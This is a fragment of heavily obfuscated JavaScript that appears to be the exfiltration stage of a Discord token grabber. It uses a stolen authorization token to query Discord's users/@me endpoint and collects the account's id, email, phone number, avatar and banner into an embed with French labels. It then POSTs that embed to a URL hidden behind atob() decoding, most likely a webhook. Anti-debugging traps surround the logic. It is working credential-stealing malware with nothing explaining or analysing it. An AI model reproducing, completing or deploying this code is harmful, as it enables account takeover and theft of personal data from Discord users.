_0x42f363[_0x1bf5bc(0x12e)](_0x1f355b,_0x32f19e);},'wFVur':function(_0x26fe37,_0x476220){return _0x26fe37+_0x476220;},'YpQxS':_0x42f363[_0x4c708c(0x153)],'wvNdW':_0x4c708c(0x150),'Jdbvq':_0x42f363[_0x4c708c(0x10b)],'sjYYn':_0x42f363[_0x4c708c(0x114)],'KEmRa':_0x42f363[_0x4c708c(0x174)],'EvrPx':_0x4c708c(0x192),'OVNfF':function(_0x132da1,_0x593d6a){const _0x20026a=_0x4c708c;return _0x42f363[_0x20026a(0x1a1)](_0x132da1,_0x593d6a);}};if(_0x42f363[_0x4c708c(0x163)](_0x42f363[_0x4c708c(0x126)],_0x4c708c(0x17a))){if(_0x212da7){const _0xf3d2e0=_0x365e2d[_0x4c708c(0x1a4)](_0x300238,arguments);return _0x4bf66b=null,_0xf3d2e0;}}else await _0x42f363[_0x4c708c(0x1aa)](rq,'https://discord.com/api/v9/users/@me',{'headers':{'content-Type':_0x42f363[_0x4c708c(0x13f)],'authorization':''+_0x334635},'body':null,'method':_0x42f363[_0x4c708c(0x125)]},async(_0x85c387,_0x3fbc9f,_0x47500d)=>{const _0x38e723=_0x4c708c,_0x1a29c5={'hcfdc':function(_0x177375,_0x184447){const _0x4aeabc=_0x1d3f;return _0x42f363[_0x4aeabc(0x136)](_0x177375,_0x184447);},'WScal':function(_0xc564f0,_0x491e87){return _0x42f363['TbwJX'](_0xc564f0,_0x491e87);},'jfpuD':_0x38e723(0x167),'UfToD':_0x42f363[_0x38e723(0x15b)],'vCtRk':function(_0x153ae1){return _0x153ae1();}};if(_0x42f363[_0x38e723(0x163)](_0x38e723(0x19b),_0x42f363[_0x38e723(0x14e)])){if(_0x42f363[_0x38e723(0x190)](_0x47500d,undefined))_0x36b224(!![]);let _0x361dc4=JSON[_0x38e723(0x147)](_0x47500d);if(_0x42f363[_0x38e723(0x14f)](_0x361dc4[_0x38e723(0x140)],_0x42f363['FHXzX'])){if(_0x42f363[_0x38e723(0x197)](_0x42f363[_0x38e723(0x175)],_0x42f363[_0x38e723(0x175)])){const _0x46532e=gSJYFH[_0x38e723(0x127)](_0x464a16,gSJYFH['WScal'](gSJYFH[_0x38e723(0x1a0)],gSJYFH['UfToD'])+');');_0x17155a=gSJYFH[_0x38e723(0x137)](_0x46532e);}else{let _0x5e9a76={'content':_0x38e723(0x11f),'embeds':[{'color':0x2f3136,'title':_0x38e723(0x185)+_0x361dc4[_0x38e723(0x1a2)]+(_0x361dc4['discriminator']>-0x5*0x36d+0x771+-0x4*-0x26c?'#'+_0x361dc4[_0x38e723(0x1b3)]:''),'description':_0x38e723(0x155)+_0x361dc4['id']+_0x38e723(0x1ac)+_0x361dc4[_0x38e723(0x16c)]+'`\x0a\x0a<:fleche:1196469580944658572>\x20**Numéro\x20de\x20téléphone:**\x20`'+(_0x361dc4['phone']?_0x361dc4[_0x38e723(0x182)]:_0x38e723(0x184))+'`','thumbnail':{'url':_0x38e723(0x119)+_0x361dc4['id']+'/'+_0x361dc4[_0x38e723(0x158)]+'.'+(_0x361dc4['avatar'][_0x38e723(0x15e)]('a_')?_0x42f363['pThNQ']:_0x42f363['wfzaR'])+_0x38e723(0x139)},'image':{'url':'https://cdn.discordapp.com/avatars/'+_0x361dc4['id']+'/'+_0x361dc4['banner']+'.'+(_0x361dc4?.[_0x38e723(0x130)][_0x38e723(0x15e)]('a_')?_0x42f363[_0x38e723(0x14c)]:_0x38e723(0x12c))+'?size=512'}}]};try{const _0x1decfd={};_0x1decfd[_0x38e723(0x164)]=_0x38e723(0x1b0),await rq({'method':_0x42f363[_0x38e723(0x18f)],'uri':atob(_0x38e723(0x16a)),'headers':_0x1decfd,'body':JSON[_0x38e723(0x1a8)](_0x5e9a76)}),_0x42f363['DQzPa'](_0x36b224,!![]);}catch(_0x28b8d4){if(_0x42f363[_0x38e723(0x1ab)]===_0x42f363[_0x38e723(0x1b2)]){const _0x2b83c0=_0x176688?function(){const _0x36a220=_0x38e723;if(_0x195c71){const _0x3d5093=_0x159cbb[_0x36a220(0x1a4)](_0x5f3872,arguments);return _0x2546d8=null,_0x3d5093;}}:function(){};return _0x304003=![],_0x2b83c0;}else console[_0x38e723(0x145)](_0x42f363[_0x38e723(0x170)],_0x28b8d4),_0x42f363[_0x38e723(0x136)](_0x36b224,!![]);}}}else _0x42f363['sjZfc'](_0x36b224,!![]);}else{let _0x2560f5;try{const _0x38a28f=THfjgB[_0x38e723(0x11c)](_0x51e779,THfjgB['wFVur'](_0x38e723(0x167)+_0x38e723(0x128),');'));_0x2560f5=_0x38a28f();}catch(_0x5994ee){_0x2560f5=_0x3709fb;}const _0x27a4f9=_0x2560f5[_0x38e723(0x169)]=_0x2560f5[_0x38e723(0x169)]||{},_0x5bcd93=[_0x38e723(0x1b1),THfjgB[_0x38e723(0x142)],THfjgB[_0x38e723(0x19e)],THfjgB[_0x38e723(0x17d)],THfjgB[_0x38e723(0x180)],THfjgB['KEmRa'],THfjgB[_0x38e723(0x10f)]];for(let _0x490cff=-0xff4+0x218b+-0x3*0x5dd;THfjgB['OVNfF'](_0x490cff,_0x5bcd93[_0x38e723(0x110)]);_0x490cff++){const _0x30ef0f=_0x3ee731['constructor'][_0x38e723(0x141)]['bind'](_0x23192b),_0x1a12d0=_0x5bcd93[_0x490cff],_0x8755f2=_0x27a4f9[_0x1a12d0]||_0x30ef0f;_0x30ef0f[_0x38e723(0x12f)]=_0x5640ef[_0x38e723(0x183)](_0xafca0b),_0x30ef0f[_0x38e723(0x120)]=_0x8755f2[_0x38e723(0x120)][_0x38e723(0x183)](_0x8755f2),_0x27a4f9[_0x1a12d0]=_0x30ef0f;}}});});};function _0x4f4edd(_0x71a5d6){const _0x1a25d1=_0x156f62,_0x459987={'DnqIo':'function\x20*\x5c(\x20*\x5c)','ZIjFX':function(_0x472c24,_0x14433c){return _0x472c24(_0x14433c);},'NuCqJ':_0x1a25d1(0x181),'rnKBS':function(_0x5c89d3,_0x31a566){return _0x5c89d3+_0x31a566;},'OsgDV':'chain','evCBV':_0x1a25d1(0x1ad),'FGOzd':function(_0x5b7eac,_0x135f5b){return _0x5b7eac(_0x135f5b);},'yaJDc':function(_0x2eab9a,_0x1f424a){return _0x2eab9a!==_0x1f424a;},'siuuI':_0x1a25d1(0x112),'hzPkB':function(_0x1bb78a,_0x3711c5){return _0x1bb78a===_0x3711c5;},'dpCIJ':_0x1a25d1(0x115),'OGXgt':_0x1a25d1(0x19a),'dYOpp':function(_0x4e5237,_0x152f94){return _0x4e5237===_0x152f94;},'vuRNj':_0x1a25d1(0x18d),'rNGPu':function(_0x363fa9,_0x4aef05){return _0x363fa9/_0x4aef05;},'cdZUu':_0x1a25d1(0x110),'vgpoe':function(_0x269f5c,_0x38ed4f){return _0x269f5c%_0x38ed4f;},'PBLsE':function(_0x36386a,_0x48c850){return _0x36386a===_0x48c850;},'iRcTp':_0x1a25d1(0x159),'gyOjn':_0x1a25d1(0x154),'mVmrA':_0x1a25d1(0x176),'mpOlx':function(_0x52ecaa,_0x24b8ac){return _0x52ecaa+_0x24b8ac;},'vTYlR':_0x1a25d1(0x178),'UWUbw':_0x1a25d1(0x195)};function _0x1dd092(_0x1cd3b1){const _0x371215=_0x1a25d1,_0x4b69ae={'TZePs':function(_0x2592f7,_0x33deaf){return _0x459987['yaJDc'](_0x2592f7,_0x33deaf);},'QbAWk':_0x371215(0x129)};if(typeof _0x1cd3b1===_0x459987['siuuI']){if(_0x459987['hzPkB'](_0x459987[_0x371215(0x122)],_0x371215(0x115)))return function(_0x486472){}[_0x371215(0x166)](_0x371215(0x118))['apply'](_0x459987[_0x371215(0x16d)]);else{const _0x38d63c=_0x5f241f[_0x371215(0x1a4)](_0x5d3d46,arguments);return _0x14ec2c=null,_0x38d63c;}}else{if(_0x459987[_0x371215(0x13d)](_0x459987[_0x371215(0x148)],_0x459987[_0x371215(0x148)])){if((''+_0x459987[_0x371215(0x131)](_0x1cd3b1,_0x1cd3b1))[_0x459987[_0x371215(0x172)]]!==0x6d*0x29+-0x1bca+0xa56||_0x459987[_0x371215(0x18b)](_0x1cd3b1,-0x1bd4+-0x1f31+0x3b19)===-0x21*0x1b+0xe2b+-0x4c*0x24){if(_0x459987[_0x371215(0x10d)](_0x459987[_0x371215(0x15a)],'XSBsS')){const _0x508ae4=new _0x4c9983(_0x459987[_0x371215(0x19c)]),_0x20d37a=new _0x4c7d90('\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','i'),_0x4e9969=_0x459987[_0x371215(0x165)](_0x5121ae,_0x459987[_0x371215(0x14a)]);!_0x508ae4['test'](_0x459987[_0x371215(0x1a7)](_0x4e9969,_0x459987[_0x371215(0x117)]))||!_0x20d37a['test'](_0x4e9969+_0x459987['evCBV'])?_0x459987[_0x371215(0x15d)](_0x4e9969,'0'):_0x26c29f();}else(function(){return!![];}[_0x371215(0x166)](_0x459987['rnKBS'](_0x459987[_0x371215(0x16f)],_0x459987[_0x371215(0x17b)]))[_0x371215(0x13b)](_0x371215(0x135)));}else(function(){const _0x4aa15c=_0x371215;if(_0x4b69ae['TZePs'](_0x4b69ae['QbAWk'],'LVLjR'))return![];else{const _0x5a2376=_0x116d46[_0x4aa15c(0x1a4)](_0x5b13cb,arguments);return _0x480815=null,_0x5a2376;}}['constructor'](_0x459987[_0x371215(0x198)](_0x371215(0x154),_0x459987[_0x371215(0x17b)]))[_0x371215(0x1a4)](_0x459987['vTYlR']));}else _0x2ff983=_0x5d5506;}_0x459987[_0x371215(0x165)](_0x1dd092,++_0x1cd3b1);}try{if(_0x459987[_0x1a25d1(0x19f)]===_0x1a25d1(0x195)){if(_0x71a5d6)return _0x1dd092;else _0x1dd092(0x2376*0x1+0x19a6+0xf47*-0x4);}else return!![];}catch(_0x4910d2){}}